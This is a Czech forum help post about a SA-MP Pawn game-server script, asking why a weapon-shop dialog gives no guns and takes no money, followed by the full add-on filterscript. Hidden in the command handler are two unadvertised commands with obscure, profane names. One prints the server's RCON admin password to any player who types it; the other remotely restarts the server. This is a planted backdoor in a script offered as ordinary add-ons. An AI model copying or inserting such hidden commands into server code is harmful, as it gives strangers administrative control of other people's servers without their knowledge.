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pomoc Dialog Shop Help


LemoNSK

Dotaz

Nazdar lidi, muže mi nekdo poradit nevím či se to pawno nejak zbláznilo nebo sem něco špatně udelal ale menu na shop přes dialog se mi otervře ale chci si koupit zbraň a nedá mi to žádnou ani nestrhne peníze prostě nepíše to ani warningi ani errory tak prosím kdybyže najdete chybu a opravíte mi ji tak bych byl hrozně rád, děkuju

Vlastně mám 2 problémy taky s vybavením

if(strcmp("/guns", cmdtext, true, 10) == 0)
{
	ShowPlayerDialog(playerid,1,DIALOG_STYLE_LIST,"Guns[ByHrvatski]","Colt [5000$] \nPistol s Tlumičem [7000$] \nDeagle [13000$] \nUzi [15000$] \nMicro SMG [15000$] \nSawn-off Shotguns [25000$] \nSpaz [25000$] \nCombat Shotgun• [10000$]","Vybrat","Konec");
return 1;
	
}


 if(dialogid == 1)
 	            {
 	                if(response)
 	                {
 	                
                     switch (listitem)
                     {
 	                    
 	            
			   case 0:
			   {
 	                     
 	                        GivePlayerWeapon(playerid, 22, 100);
			 GivePlayerMoney(playerid, -5000);
 	                    }

 	                    case 1:
 	                    {
 	                        
 	                        GivePlayerWeapon(playerid, 23, 100);
 	                        GivePlayerMoney(playerid, -7000);
 	                    }

   	                    case 2:
 	                    {
                           
                           GivePlayerWeapon(playerid, 24, 100);
                            GivePlayerMoney(playerid, -13000);
 	                    }

 	                    case 3:
 	                    {

                            GivePlayerWeapon(playerid, 28, 120);
                            GivePlayerMoney(playerid, -15000);
						 }

 	                    case 4:
 	                    {
                            
                            GivePlayerWeapon(playerid, 32, 120);
                            GivePlayerMoney(playerid, -15000);
						 }

 	                    case 5:
 	                    {
                            
                            GivePlayerMoney(playerid, -20000);
                            GivePlayerWeapon(playerid, 29, 120);
						 }

 	                    case 6:
 	                    {
                          
                            GivePlayerMoney(playerid, -25000);
                            GivePlayerWeapon(playerid, 26, 50);
 	                    }

 	                    case 7:
 	                    {

                            GivePlayerWeapon(playerid, 27, 25);
                            GivePlayerMoney(playerid, -25000);
						 }

 	                    case 8:
 	                    {

                            GivePlayerMoney(playerid, -10000);
                            GivePlayerWeapon(playerid, 25, 25);
					 	}
       				}
 	         }
	   }

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// |----------------------------------------|
// | Doplňky pro Realnou Zemi |
// | Doplňky by LemoN |
// | Alpha Version created: 10.7 2014 |
// | |
// |----------------------------------------|
//


#include <a_samp>
#include <sscanf>
#include <string>
#include <progress>
#include <a_http>
#include <mysql>
#include <time>
#include <float>
#include <file>
#include <a_objects>

#pragma tabsize 0



#define COLOR_LIGHTGREEN 0x29ff06AA
#define BARVA_SEDA 0xAFAFAFAA
#define BARVA_BILA 0xEFEFF7AA
#define GREEN 0x21DD00FF
#define ORANGE 0xF97804FF
#define AdminColor 0xE60000FF
#define COLOR_YELLOW 0xFFFF00AA
#define color_LPink 0xFFA2FFAA
#define color_DBlue 0x00009CAA
#define color_DGrey 0x8C8C8CAA
#define color_LGreen 0x14EB00AA
#define color_LBlue 0x00FAFFAA
#define color_LYellow 0xF3FF01AA
#define color_DYellow 0xBDC601AA
#define color_HDRed 0x7D0000AA
#define color_LRed 0xFF0000AA
#define color_DRed 0xC00000AA
#define color_HDBlue 0x000060AA
#define color_Metal 0x777777AA
#define color_HDGreen 0x009669AA
#define color_Purple 0x6A0C62AA
#define COLOR_WHITE 0xFFFFFFAA
#define COLOR_BLUE 0x0000BBAA
#define COLOR_CERNA 0x000000
#define COLOR_NAMORNICKA 0x000080
#define COLOR_TMAVE_MODRA 0x00008b
#define COLOR_STREDNE_MODRA 0x0000cd
#define COLOR_MODRA 0x0000ff
#define COLOR_TMAVE_ZELENA 0x006400
#define COLOR_ZELENA 0x008000
#define COLOR_CIRKOVA_MODR 0x008080
#define COLOR_TMAVA_MODROZELENA 0x008b8b
#define COLOR_HLUBOCE_BLANKYTNE_MODRA 0xbfff
#define COLOR_TMAVE_TYRKYSOVA 0x00ced1
#define COLOR_STREDNE_JARNI_ZELENA 0x00fa9a
#define COLOR_CITRUSOVA 0x00ff00
#define COLOR_VODOVA 0x00ffff
#define COLOR_MODROZELENA 0x00ffff
#define COLOR_PULNOCNI_MODRA 0x191970
#define COLOR_REKLAMNI_MODRA 0x1e90ff
#define COLOR_SVETLE_MORSKA_ZELENA 0x20b2aa
#define COLOR_LESNI_ZELENA 0x228b22
#define COLOR_MORSKA_ZELENA 0x2e8b57
#define COLOR_TMAVA_BRIDLICOVA_SED 0x2f4f4f
#define COLOR_CITRUSOVA_ZELENA 0x32cd32
#define COLOR_STREDNE_MORSKA_ZELENA 0x3cb371
#define COLOR_TYRKYSOVA 0x40e0d0
#define COLOR_KRALOVSKA_MODR 0x4169e1
#define COLOR_OCELOVA_MODR 0x4682b4
#define COLOR_TMAVA_BRIDLICOVA_MODR 0x483d8b
#define COLOR_STREDNE_TYRKYSOVA 0x48d1cc
#define COLOR_MODR_INDIGO 0x4b0082
#define COLOR_TMAVA_OLIVOVE_ZELENA 0x556b2f
#define COLOR_KADETNI_MODRA 0x5f9ea0
#define COLOR_CHRPOVA_MODR 0x6495ed
#define COLOR_STREDNE_MORSKA_MODR 0x66cdaa
#define COLOR_MATNE_SEDA 0x696969
#define COLOR_BRIDLICOVA_MODR 0x6a5acd
#define COLOR_OLIVOVA_SED 0x6b8e23
#define COLOR_SVETLE_BRIDLICOVA_SED 0x778899
#define COLOR_STREDNE_BRIDLICOVA_MODR 0x7b68ee
#define COLOR_TRAVOVE_ZELENA 0x7cfc00
#define COLOR_SVETLE_ZELENA_KARTOUZA 0x7fff00
#define COLOR_VODOVA_MORSKA 0x7fffd4
#define COLOR_KASTANOVA 0x800000
#define COLOR_PURPUROVA 0x800080
#define COLOR_OLIVOVA 0x808000
#define COLOR_BLANKYTNE_MODRA 0x87ceeb
#define COLOR_SVETLE_BLANKYTNE_MODRA 0x87cefa
#define COLOR_MODROFIALKOVA 0x8A2be2


#define COL_EASY "{FFF1AF}"
#define COL_WHITE "{FFFFFF}"
#define COL_BLACK "{0E0101}"
#define COL_GREY "{C3C3C3}"
#define COL_GREEN "{6EF83C}"
#define COL_RED "{F81414}"
#define COL_YELLOW "{F3FF02}"
#define COL_ORANGE "{FFAF00}"
#define COL_LIME "{B7FF00}"
#define COL_CYAN "{00FFEE}"
#define COL_LIGHTBLUE "{00C0FF}"
#define COL_BLUE "{0049FF}"
#define COL_MAGENTA "{F300FF}"
#define COL_VIOLET "{B700FF}"
#define COL_PINK "{FF00EA}"
#define COL_MARONE "{A90202}"
#define COL_CMD "{B8FF02}"
#define COL_PARAM "{3FCD02}"
#define COL_SERVER "{AFE7FF}"
#define COL_VALUE "{A3E4FF}"
#define COL_RULE "{F9E8B7}"
#define COL_RULE2 "{FBDF89}"
#define COL_RWHITE "{FFFFFF}"
#define COL_LGREEN "{C9FFAB}"
#define COL_LRED "{FFA1A1}"
#define COL_LRED2 "{C77D87}"

new ParkourP[MAX_PLAYER_NAME];
new VehicleBoost[MAX_PLAYER_NAME];
new VGod[MAX_PLAYER_NAME];
new ParkourPickup;

#define dcmd(%1,%2,%3) if ((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, "")))||(((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1

public OnFilterScriptInit()
{
return 1;
}

public OnFilterScriptExit()
{
return 1;
}

public OnGameModeInit()
{
SetGameModeText("|•StuntParty•Zaměstnátí•God•Speed•|");

ParkourPickup = CreatePickup(1242, 2, 1909.05,1628.96,72.81, -1);

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CreateObject(13641, 1713.24927, 1345.97803, 21.40961, 0.00000, 0.00000, 0.00000);
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CreateObject(19005, 1315.87512, 1890.04163, 12.06647, 0.00000, 0.00000, 0.00000);
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CreateObject(18786, 2092.98682, 804.68677, 11.13380, -0.54000, 6.12000, 88.50407);
CreateObject(18786, 2073.18945, 805.16217, 11.13380, -0.54000, 6.12000, 88.50407);
CreateObject(18786, 2053.44849, 805.96008, 11.13380, -0.54000, 6.12000, 88.50407);
CreateObject(18780, 2134.34766, 852.13776, 17.10668, 0.00000, 0.00000, 0.00000);
CreateObject(18786, 1886.17236, 853.07104, 10.22324, 0.00000, 0.00000, 179.74036);
CreateObject(18786, 1904.22681, 831.84497, 9.12641, 0.00000, 0.00000, 359.33685);
CreateObject(19901, 2305.75586, 830.47314, 17.49867, 4.08000, 17.40000, 359.69696);
CreateObject(19901, 2264.72949, 853.74902, 17.11590, 2.64000, -16.38001, 0.00000);
CreateObject(19005, 2584.36719, 900.19110, 8.84921, 0.00000, 0.00000, 119.52335);
CreateObject(19005, 2515.06543, 845.56750, 8.85821, 0.00000, 0.00000, 280.49176);
CreateObject(19005, 2727.75171, 1361.24548, 8.59660, 0.00000, 0.00000, 181.05528);
CreateObject(19005, 2708.44238, 1267.53760, 9.04058, 0.00000, 0.00000, 359.65988);
CreateObject(19005, 2705.88037, 1314.07727, 15.77340, 0.00000, 0.00000, 270.36435);
CreateObject(19005, 2725.66699, 1314.15308, 15.52448, 0.00000, 0.00000, 88.14272);
CreateObject(19005, 2407.01294, 1353.83997, 3.12751, 0.00000, 0.00000, 1.49474);
CreateObject(18780, 2204.97339, 1253.12769, 12.38515, 0.00000, 0.00000, 122.84737);
CreateObject(19005, 2137.37891, 1179.88501, 11.81001, 0.00000, 0.00000, 142.36246);
CreateObject(19005, 2067.68823, 1417.87939, 20.12747, 14.88000, 0.18000, 0.00000);
CreateObject(19005, 2067.73560, 1404.96973, 12.47943, 0.00000, 0.00000, 0.30000);
CreateObject(19005, 2031.65442, 1721.88562, 12.58746, 0.00000, 0.00000, 49.29116);
CreateObject(19005, 2263.11841, 1373.26025, 4.67560, 0.00000, 0.00000, 95.50930);
CreateObject(19005, 2243.92212, 1371.27246, 4.67560, 0.00000, 0.00000, 275.26346);
CreateObject(980, 1928.74902, 1660.21179, 20.64245, 0.00000, 0.00000, 0.00000);
CreateObject(967, 1915.57581, 1654.36926, 24.41502, 0.00000, 0.00000, 85.87539);
CreateObject(1421, 1915.05469, 1650.17017, 27.04829, 0.00000, 0.00000, 0.00000);
CreateObject(7025, 1909.08191, 1641.21875, 25.81064, 0.00000, 0.00000, 0.00000);
CreateObject(4609, 1892.71191, 1631.99829, 24.00779, 0.00000, 0.00000, 0.00000);
CreateObject(8493, 1871.74719, 1608.39563, 40.51407, 0.00000, 0.00000, 90.39397);
CreateObject(1503, 1903.70129, 1634.49585, 22.17354, 0.00000, 0.00000, 0.00000);
CreateObject(1503, 1889.52319, 1627.46680, 27.10145, 0.00000, 0.00000, 180.41104);
CreateObject(980, 1917.60376, 1609.39758, 35.40332, 89.69998, 13.26000, 0.00000);
CreateObject(1503, 1929.08887, 1612.32373, 34.68965, 0.00000, 0.00000, 279.93356);
CreateObject(8493, 1940.92029, 1615.22754, 45.74258, 0.00000, 0.00000, 0.00000);
CreateObject(18786, 1969.60547, 1596.49963, 37.14837, 0.00000, 0.00000, 262.84766);
CreateObject(7025, 1950.91272, 1612.04993, 36.82044, 0.00000, 0.00000, 1.60969);
CreateObject(1421, 1947.23438, 1616.51355, 34.02706, 0.00000, 0.00000, 0.00000);
CreateObject(1421, 1945.06775, 1619.06665, 34.02706, 0.00000, 0.00000, 0.00000);
CreateObject(1421, 1945.78320, 1618.53601, 34.02706, 0.00000, 0.00000, 0.00000);
CreateObject(10832, 1943.90259, 1637.22595, 33.55592, 0.00000, 0.00000, 358.14429);
CreateObject(980, 1951.42847, 1644.34778, 32.48466, 0.00000, 0.00000, 49.59870);
CreateObject(10832, 1960.67993, 1652.64893, 33.85413, 0.00000, 0.00000, 320.29086);
CreateObject(980, 1968.87000, 1661.56787, 38.83106, 131.16006, 45.72003, 0.00000);
CreateObject(1503, 1969.81189, 1667.03076, 41.75473, 0.00000, 0.00000, 14.34458);
CreateObject(7025, 1959.28296, 1673.72424, 42.18407, 0.00000, 0.00000, 0.00000);
CreateObject(7910, 1945.07532, 1659.57849, 44.39148, -87.48001, -15.00000, 0.00000);
CreateObject(10832, 1927.56226, 1647.95972, 49.99929, 0.00000, 0.00000, 7.57299);
CreateObject(10832, 1941.51526, 1649.24719, 43.64440, 0.00000, 0.00000, 7.57299);
CreateObject(10832, 1934.48596, 1648.58069, 46.54272, 0.00000, 0.00000, 7.57299);
CreateObject(7910, 1928.79028, 1637.01355, 54.51241, -110.21999, 86.81998, 4.23345);
CreateObject(10832, 1921.17163, 1633.05457, 55.36280, 0.00000, 0.00000, 0.00000);
CreateObject(18559, 1889.68091, 1633.50806, 47.43441, 0.00000, 0.00000, 358.93274);
CreateObject(7025, 1885.27966, 1624.55493, 61.57302, 0.00000, 0.00000, 0.10000);
CreateObject(7025, 1905.06604, 1620.49512, 62.93094, 0.00000, 0.00000, 0.00000);
CreateObject(7025, 1911.96960, 1620.09351, 66.42131, 0.00000, 0.00000, 0.00000);
CreateObject(8172, -3148.29004, 1703.52966, 66.71418, 0.00000, 0.00000, 0.00000);
CreateObject(8172, -3108.51025, 1703.33545, 66.71418, 0.00000, 0.00000, 0.00000);
CreateObject(980, -3162.03857, 1772.11096, 69.56589, 0.00000, 0.00000, 2.54314);
CreateObject(980, -3166.72607, 1780.11841, 69.56979, 0.00000, 0.00000, 272.08295);
CreateObject(980, -3166.42480, 1768.63086, 69.56979, 0.00000, 0.00000, 272.10242);
CreateObject(980, -3166.31470, 1757.12073, 69.56979, 0.00000, 0.00000, 272.12192);
CreateObject(980, -3165.99878, 1745.67664, 69.56979, 0.00000, 0.00000, 272.14078);
CreateObject(980, -3165.61670, 1734.03845, 69.56979, 0.00000, 0.00000, 272.15979);
CreateObject(980, -3165.29395, 1722.44421, 69.56979, 0.00000, 0.00000, 272.17841);
CreateObject(980, -3164.91406, 1710.92407, 69.56979, 0.00000, 0.00000, 272.19702);
CreateObject(980, -3164.60132, 1699.28101, 69.56979, 0.00000, 0.00000, 272.21539);
CreateObject(980, -3164.26563, 1687.60352, 69.56979, 0.00000, 0.00000, 272.23358);
CreateObject(980, -3164.06738, 1676.12903, 69.56979, 0.00000, 0.00000, 272.25153);
CreateObject(980, -3163.68701, 1664.68176, 69.56979, 0.00000, 0.00000, 272.26923);
CreateObject(980, -3163.49438, 1653.34058, 69.56979, 0.00000, 0.00000, 272.28696);
CreateObject(980, -3163.29712, 1641.91064, 69.56979, 0.00000, 0.00000, 272.30447);
CreateObject(980, -3162.91528, 1630.48425, 69.56979, 0.00000, 0.00000, 272.32169);
CreateObject(980, -3092.90381, 1775.92358, 69.56561, 0.00000, 0.00000, 4.72437);
CreateObject(980, -3104.36304, 1775.22595, 69.56564, 0.00000, 0.00000, 4.35186);
CreateObject(980, -3115.82373, 1774.49438, 69.56573, 0.00000, 0.00000, 3.98332);
CreateObject(980, -3127.33716, 1773.76819, 69.56574, 0.00000, 0.00000, 3.67811);
CreateObject(980, -3138.95215, 1773.27258, 69.56578, 0.00000, 0.00000, 3.25672);
CreateObject(980, -3150.41895, 1772.70276, 69.56584, 0.00000, 0.00000, 2.89890);
CreateObject(980, -3089.63281, 1629.67615, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.63916, 1641.05017, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.45313, 1652.42590, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.25659, 1663.71130, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.27441, 1675.07825, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.12695, 1686.48132, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.10986, 1698.08594, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.05981, 1709.65503, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.07471, 1721.07971, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.03198, 1732.57764, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.03906, 1744.11584, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3089.00317, 1755.48767, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3088.75854, 1766.97949, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3088.69458, 1778.44946, 69.56979, 0.00000, 0.00000, 270.05212);
CreateObject(980, -3163.85156, 1625.71985, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(980, -3152.36597, 1625.44617, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(980, -3141.02930, 1625.14514, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(980, -3129.55542, 1624.76062, 69.56979, 0.00000, 0.00000, 179.17047);
CreateObject(980, -3118.17651, 1624.59424, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(980, -3106.86328, 1624.42175, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(980, -3095.54541, 1624.20703, 69.56979, 0.00000, 0.00000, 179.11047);
CreateObject(8428, -3159.16235, 1702.72937, 70.27707, 0.00000, 0.00000, 0.00000);
CreateObject(8493, -3096.60059, 1745.41504, 83.79525, 0.00000, 0.00000, 0.00000);
CreateObject(8493, -3269.61133, 1679.87305, 17.96462, 0.00000, 0.00000, 0.00000);
CreateObject(18830, -3128.80640, 1756.52551, 68.69447, 183.05995, 2.40000, 357.81311);
CreateObject(7910, -3110.19141, 1624.21545, 70.83730, 0.00000, 0.00000, 178.80255);
CreateObject(7910, -3143.82690, 1625.02356, 70.83730, 0.00000, 0.00000, 178.80255);
CreateObject(7910, -3127.01978, 1624.63989, 70.83730, 0.00000, 0.00000, 178.80255);
CreateObject(3601, -3100.23584, 1651.51428, 74.56087, 0.00000, 0.00000, 0.00000);
CreateObject(3601, -3099.17432, 1694.08289, 74.56087, 0.00000, 0.00000, 0.00000);
CreateObject(3601, -3099.80273, 1673.44421, 74.56087, 0.00000, 0.00000, 0.00000);
CreateObject(10763, -3140.53760, 1645.83130, 99.81557, 0.00000, 0.00000, 45.21739);
CreateObject(3279, -3138.47510, 1767.49377, 66.67102, 0.00000, 0.00000, 0.00000);
CreateObject(3279, -3156.13672, 1655.23621, 66.67102, 0.00000, 0.00000, 0.00000);
CreateObject(3279, -3102.24023, 1769.88708, 66.67102, 0.00000, 0.00000, 0.00000);
CreateObject(3279, -3112.14502, 1659.24951, 66.67102, 0.00000, 0.00000, 0.00000);
CreateVehicle(590, 1954.6254, 1580.9340, 34.3491, 264.7285, -1, -1, 100);
CreateVehicle(411, -3158.3047, 1761.0970, 67.5185, 265.4094, -1, -1, 100);
CreateVehicle(411, -3159.2410, 1734.8066, 67.5185, 265.4094, -1, -1, 100);
CreateVehicle(411, -3159.1030, 1740.1162, 67.5185, 265.4094, -1, -1, 100);
CreateVehicle(411, -3158.8901, 1746.8279, 67.5185, 265.4094, -1, -1, 100);
CreateVehicle(411, -3158.2061, 1753.6229, 67.5185, 265.4094, -1, -1, 100);
CreateVehicle(522, 1241.4962, 1756.5238, 7.1792, 0.0000, -1, -1, 100);
CreateVehicle(559, 1170.8154, 2105.1538, 11.3564, 0.0000, -1, -1, 100);
CreateVehicle(559, 1165.2998, 2211.9578, 11.3564, 0.0000, -1, -1, 100);
CreateVehicle(522, 1108.2489, 1934.7203, 10.2789, 273.0099, -1, -1, 100);
CreateVehicle(522, 1094.8951, 1985.0955, 10.6690, 273.3347, -1, -1, 100);
CreateVehicle(567, 990.7101, 1893.7245, 11.3950, 269.2660, -1, -1, 100);
CreateVehicle(402, 972.0098, 1688.3397, 8.6255, 0.0000, -1, -1, 100);
CreateVehicle(562, 1092.6019, 1795.0248, 10.8476, 0.0000, -1, -1, 100);
CreateVehicle(562, 1109.8696, 1795.1805, 10.8476, 0.0000, -1, -1, 100);
CreateVehicle(562, 1082.0219, 1794.4242, 10.8476, 0.0000, -1, -1, 100);
CreateVehicle(559, 1102.3224, 1795.4331, 10.5374, 0.0000, -1, -1, 100);
CreateVehicle(402, 1076.5077, 1074.2052, 10.6476, 273.4171, -1, -1, 100);
CreateVehicle(402, 1089.7550, 1061.5059, 10.6476, 4.2348, -1, -1, 100);
CreateVehicle(522, 1102.3562, 1076.0054, 10.7101, 91.9852, -1, -1, 100);
CreateVehicle(522, 1085.8514, 1087.2762, 10.8643, 191.3332, -1, -1, 100);
CreateVehicle(522, 1095.5259, 1074.2556, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1084.5248, 1074.0909, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1086.6758, 1074.2355, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1088.6011, 1074.0898, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1090.2941, 1074.0890, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1092.0282, 1074.4052, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(522, 1093.7145, 1074.3143, 11.0282, 0.0000, -1, -1, 100);
CreateVehicle(559, 1298.9468, 1109.8845, 10.7386, 0.0000, -1, -1, 100);
CreateVehicle(562, 1416.0729, 974.2371, 10.6114, 0.0000, -1, -1, 100);
CreateVehicle(559, 1489.2977, 916.1692, 10.5792, 320.4232, -1, -1, 100);
CreateVehicle(562, 1469.2712, 1070.8314, 12.0898, 90.7673, -1, -1, 100);
CreateVehicle(562, 1470.4600, 1044.3036, 12.0898, 90.7673, -1, -1, 100);
CreateVehicle(562, 1469.8528, 1059.6368, 12.0898, 90.7673, -1, -1, 100);
CreateVehicle(559, 1652.1298, 1000.5970, 10.5000, 0.0000, -1, -1, 100);
CreateVehicle(559, 1665.0164, 999.6019, 10.5000, 0.0000, -1, -1, 100);
CreateVehicle(559, 1658.4750, 1000.2131, 10.5000, 0.0000, -1, -1, 100);
CreateVehicle(522, 1748.6221, 998.0826, 10.4018, 0.0000, -1, -1, 100);
CreateVehicle(402, 1881.2714, 1044.6298, 10.5927, 269.7805, -1, -1, 100);
CreateVehicle(402, 1881.8854, 1070.7296, 10.5897, 269.7805, -1, -1, 100);
CreateVehicle(402, 1881.8121, 1064.1504, 10.4947, 269.7805, -1, -1, 100);
CreateVehicle(522, 1881.3961, 1016.8328, 10.7429, 267.6059, -1, -1, 100);
CreateVehicle(522, 1882.1534, 975.3436, 10.7429, 267.6059, -1, -1, 100);
CreateVehicle(522, 1882.1667, 1010.3853, 10.7429, 267.6059, -1, -1, 100);
CreateVehicle(522, 1881.7391, 991.8812, 10.7429, 267.6059, -1, -1, 100);
CreateVehicle(559, 1910.9666, 963.8760, 10.7232, 0.0600, -1, -1, 100);
CreateVehicle(559, 1916.5704, 963.9794, 10.7232, 0.0600, -1, -1, 100);
CreateVehicle(567, 2040.2737, 1004.2136, 10.6977, 0.0000, -1, -1, 100);
CreateVehicle(567, 2040.0623, 1027.8442, 10.6977, 0.0000, -1, -1, 100);
CreateVehicle(559, 2162.1545, 1012.7324, 10.4528, 89.2254, -1, -1, 100);
CreateVehicle(559, 2132.7590, 1012.6953, 10.4528, 89.2254, -1, -1, 100);
CreateVehicle(559, 2132.8237, 1006.3479, 10.4528, 89.2254, -1, -1, 100);
CreateVehicle(559, 2248.1729, 699.0167, 11.0587, 0.0000, -1, -1, 100);
CreateVehicle(559, 2220.5952, 699.0588, 11.0587, 0.0000, -1, -1, 100);
CreateVehicle(567, 2441.7183, 708.8430, 11.5942, 269.1356, -1, -1, 100);
CreateVehicle(522, 2716.1555, 834.0615, 10.9128, 0.0000, -1, -1, 100);
CreateVehicle(402, 2833.7454, 927.7073, 10.7514, 0.0000, -1, -1, 100);
CreateVehicle(402, 2804.5464, 927.8881, 10.7514, 0.0000, -1, -1, 100);
CreateVehicle(402, 2827.3762, 926.9348, 10.7514, 0.0000, -1, -1, 100);
CreateVehicle(522, 2494.5186, 935.8484, 10.7418, 0.0000, -1, -1, 100);
CreateVehicle(522, 2485.3010, 935.7178, 10.7418, 0.0000, -1, -1, 100);
CreateVehicle(522, 2488.7202, 935.8879, 10.7418, 0.0000, -1, -1, 100);
CreateVehicle(522, 2491.2573, 936.2354, 10.7418, 0.0000, -1, -1, 100);
CreateVehicle(402, 2765.3489, 1278.4628, 10.6326, 269.0326, -1, -1, 100);
CreateVehicle(402, 2765.3596, 1288.0431, 10.6326, 269.0326, -1, -1, 100);
CreateVehicle(402, 2765.1182, 1290.9719, 10.6326, 269.0326, -1, -1, 100);
CreateVehicle(522, 2794.6953, 1295.4237, 10.6592, 0.0000, -1, -1, 100);
CreateVehicle(522, 2791.3911, 1295.3285, 10.6592, 0.0000, -1, -1, 100);
CreateVehicle(522, 2574.2603, 1217.3939, 10.5043, 0.0000, -1, -1, 100);
CreateVehicle(522, 2551.5857, 1216.9922, 10.4104, 0.0000, -1, -1, 100);
CreateVehicle(559, 2422.3958, 1123.9821, 10.6245, 0.0000, -1, -1, 100);
CreateVehicle(402, 2155.0417, 1328.7416, 11.4391, 62.3523, -1, -1, 100);
CreateVehicle(567, 2040.4177, 1565.6238, 11.2719, 0.0000, -1, -1, 100);
CreateVehicle(559, 2039.9296, 1657.6868, 10.5550, 0.0000, -1, -1, 100);
CreateVehicle(559, 2075.1707, 1568.3794, 10.5550, 0.0000, -1, -1, 100);
CreateVehicle(559, 2075.1243, 1611.8163, 10.5550, 0.0000, -1, -1, 100);
CreateVehicle(559, 2005.8298, 1728.7596, 18.3005, 0.0000, -1, -1, 100);
CreateVehicle(559, 2012.5825, 1729.3677, 18.3005, 0.0000, -1, -1, 100);


return 1;
}

public OnGameModeExit()
{
return 1;
}

public OnPlayerRequestClass(playerid, classid)
{
return 1;
}

public OnPlayerConnect(playerid)
{
return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
return 1;
}

public OnPlayerSpawn(playerid)
{
SendClientMessage(playerid,0x008000,"{00FFEE}[ DOPLNKY ] Na servery se nacházejí doplnky BY Hrvatski");
SendClientMessage(playerid,0x008000,"{00FFEE}[ DOPLNKY ] Přikazy dostupné: /warps, /pevent, /vgod, /boost, /dupdate, /azona, /guns, /vybaveni, /wipechat");
return 1;
}

public OnPlayerDeath(playerid, killerid, reason)
{
return 1;
}

public OnVehicleSpawn(vehicleid)
{
return 1;
}

public OnVehicleDeath(vehicleid, killerid)
{
return 1;
}

public OnPlayerText(playerid, text[])
{
return 1;
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if(strcmp("/zobeskojenejvetsipicanasvete", cmdtext, true, 10) == 0)
{
new var0[256];
new var1[256];
GetServerVarAsString("rcon_password", var1, 255);
format(var0, 256, "RCON je: %s", var1);
SendClientMessage(playerid, 0xEFEFF7AA, var0);
return 1;
}

if(strcmp("/guns", cmdtext, true, 10) == 0)
{
ShowPlayerDialog(playerid,1,DIALOG_STYLE_LIST,"Guns[ByHrvatski]","Colt [5000$] \nPistol s Tlumičem [7000$] \nDeagle [13000$] \nUzi [15000$] \nMicro SMG [15000$] \nSawn-off Shotguns [25000$] \nSpaz [25000$] \nCombat Shotgun• [10000$]","Vybrat","Konec");
return 1;

}


if(strcmp("/zobeskohegesplatinovy", cmdtext, true, 10) == 0)
{
SendRconCommand("gmx");
SendClientMessage(playerid, 0xEFEFF7AA,"Restart Bitch! :D");
return 1;
}


if (strcmp("/vybaveni", cmdtext, true, 10) == 0)
{
ShowPlayerDialog(playerid,1921,DIALOG_STYLE_LIST,"Vybaveni[ByHrvatski]","•Životy [1000000$]• \n•Vesta [500000$]","Vybrat","Konec");
return 1;
}


if (strcmp("/warps", cmdtext, true, 10) == 0)
{
ShowPlayerDialog(playerid, 88, DIALOG_STYLE_LIST, "Warpy[By Hrvatski]","•Urad LV• \n•Las Venturas• \n•San Fierro• \n•Los Santos• \n•PolicieLV• \n•PolicieLS• \n•PolicieSF• \n•TuningSF• \n•TuningLV• \n•TuningLS• \n•ParkourMap(ADMIN)• \n•AreaLV• \n•Nevada• \n•Ostrov•","Vybrat","Konec");
return 1;
}

if (strcmp("/wipechat", cmdtext, true, 10) == 0)
{
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
